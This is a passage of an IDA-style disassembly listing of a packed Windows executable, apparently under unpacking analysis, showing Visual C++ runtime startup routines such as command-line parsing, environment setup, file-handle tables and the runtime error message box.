___:00422E0Cj mov eax, [ebp+8] mov dword_4DB350, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] call near ptr 2640459h nop loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8C8, edx push esi mov eax, offset dword_43C8C8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DC914, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DC90C mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB2E8 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB2A0, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB2E8 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB2E8 call sub_41B0B1 pop ecx mov dword_4DB2E8, ebx mov [esi], ebx pop edi pop esi mov dword_4DC910, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2680000h mov eax, dword_4DC90C mov off_4DB2B0, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB298, esi pop edi pop esi mov dword_4DB294, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DB458 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DB458, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j nop call near ptr 2640000h mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DB458, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 264030Fh mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD nop call near ptr 2640000h mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi call near ptr 264036Bh nop mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DC5C0, esi mov dword_4DC6C0, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DC5C0 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax nop call near ptr 28C0000h cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DC6C0, esi jge short loc_4233E6 mov edi, offset dword_4DC5C4 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DC6C0, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DC6C0, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DC6C0 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax nop call near ptr 263023Eh test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DC5C0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax call near ptr 2630AD1h nop mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi nop call near ptr 263023Eh test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DC6C0 nop call near ptr 2630C9Bh pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB2F0 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A2C4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DB45C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43C958 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43C9E8 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43C958[esi] jnz loc_423719 mov eax, dword_4DB2F0 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A2C4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2680000h nop test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43C95C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43C95C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 2630AD1h nop push eax call near ptr 2700000h nop loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DC5C0 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DC6C0 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DC6C0, 20h lea ecx, ds:4DC5C0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A2C4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj nop call near ptr 2630000h loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DC6C0 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A2C4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej nop call near ptr 2630000h loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 